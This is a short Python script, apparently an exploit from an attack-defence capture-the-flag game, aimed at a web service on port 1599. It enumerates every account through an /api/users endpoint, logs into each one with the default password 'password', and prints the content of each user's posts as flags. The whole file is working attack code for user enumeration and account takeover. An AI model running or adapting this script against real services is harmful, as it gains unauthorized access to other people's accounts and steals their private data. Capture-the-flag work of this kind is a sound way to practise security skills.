28 lines
560 B
Python
28 lines
560 B
Python
import sys
|
|
|
|
import requests
|
|
|
|
ip = sys.argv[1]
|
|
|
|
base_url = f"http://{ip}:1599"
|
|
sess = requests.Session()
|
|
|
|
r = sess.get(f"{base_url}/api/users")
|
|
assert r.ok, r.text
|
|
|
|
users = [el["username"] for el in r.json()]
|
|
|
|
for user in users:
|
|
sess = requests.Session()
|
|
r = sess.post(
|
|
f"{base_url}/api/user/login", json={"username": user, "password": "password"}
|
|
)
|
|
assert r.ok, r.text
|
|
|
|
r = sess.get(f"{base_url}/api/user/posts")
|
|
assert r.ok, r.text
|
|
|
|
flags = [post["content"] for post in r.json()]
|
|
for flag in flags:
|
|
print(flag)
|